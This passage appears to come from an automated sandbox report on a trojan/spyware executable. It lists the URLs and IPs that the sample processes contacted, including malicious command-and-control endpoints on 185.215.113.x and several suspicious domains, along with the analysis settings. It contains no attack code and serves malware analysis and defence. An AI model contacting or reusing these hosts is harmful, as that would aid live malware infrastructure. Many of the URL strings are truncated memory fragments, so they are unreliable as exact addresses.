https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/765611997243319001l	9d7da53f74.exe, 0000003C.00000002.2746326471.000000000175A000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000175A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpKQ	num.exe, 0000002C.00000002.2630021156.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.google.	9d7da53f74.exe, 00000015.00000002.2522203861.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.youtube.com/t/terms?chromeless=1&hl=	chromecache_161.19.dr	false	0%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpu	num.exe, 00000014.00000002.2442698783.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php$AC	skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpw	num.exe, 00000014.00000002.2442698783.0000000000ED6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpJXi	num.exe, 00000014.00000002.2442698783.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://policies.google.com/terms/location	chromecache_161.19.dr	false	URL Reputation: safe	unknown
http://185.215.113.43/ViewSizePreferences.SourceAumid2=	skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://s.ytimg.com;	9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748086028.00000000017BA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steam.tv/	9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900u	9d7da53f74.exe, 0000003C.00000002.2746326471.000000000175A000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000175A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://licendfilteo.site:443/api	9d7da53f74.exe, 0000003C.00000003.2728178187.0000000001745000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2746326471.0000000001745000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/p	9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://youtube.com/t/terms?gl=	chromecache_161.19.dr	false		unknown
https://www.google.com/intl/	chromecache_161.19.dr	false		unknown
http://185.215.113.37/ws	num.exe, 0000002C.00000002.2630021156.00000000005C6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://microsoft.co	9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://apis.google.com/js/api.js	chromecache_167.19.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/privacy_agreement/	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com:443/profiles/76561199724331900	9d7da53f74.exe, 0000003C.00000003.2728178187.0000000001745000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2746326471.0000000001745000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/points/shop/	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/15.113.43/ows	skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sketchfab.com	9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://lv.queniujq.cn	9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.steampowere#	9d7da53f74.exe, 00000015.00000002.2522203861.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.youtube.com/	9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748086028.00000000017BA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpzX	num.exe, 00000014.00000002.2442698783.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com:443/api	9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_161.19.dr	false		unknown
http://185.215.113.43/ones	skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php9001	skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/a	skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/recaptcha/	9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748086028.00000000017BA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://policies.google.com/privacy	chromecache_161.19.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://avatars.akamai.steamstatic	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/;	9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017C7000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/about/	9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/my/wishlist/	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://play.google/intl/	chromecache_161.19.dr	false	URL Reputation: safe	unknown
https://families.google.com/intl/	chromecache_161.19.dr	false	URL Reputation: safe	unknown
https://sergei-esenin.com/apiO8	9d7da53f74.exe, 00000015.00000002.2522203861.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/0	9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://policies.google.com/technologies/location-data	chromecache_161.19.dr	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.53.8	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.16.206	play.google.com	United States	15169	GOOGLEUS	false
142.250.181.238	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.142	youtube.com	United States	15169	GOOGLEUS	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
142.250.184.238	www3.l.google.com	United States	15169	GOOGLEUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.103	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527565
Start date and time:	2024-10-07 03:21:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	81
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8ObkdHP9Hq.exe renamed because original name is a hash value
Original Sample Name:	77b69071ccc75e75a48ea59d48a55a30.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@201/37@38/12
EGA Information:	Successful, ratio: 42.9%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
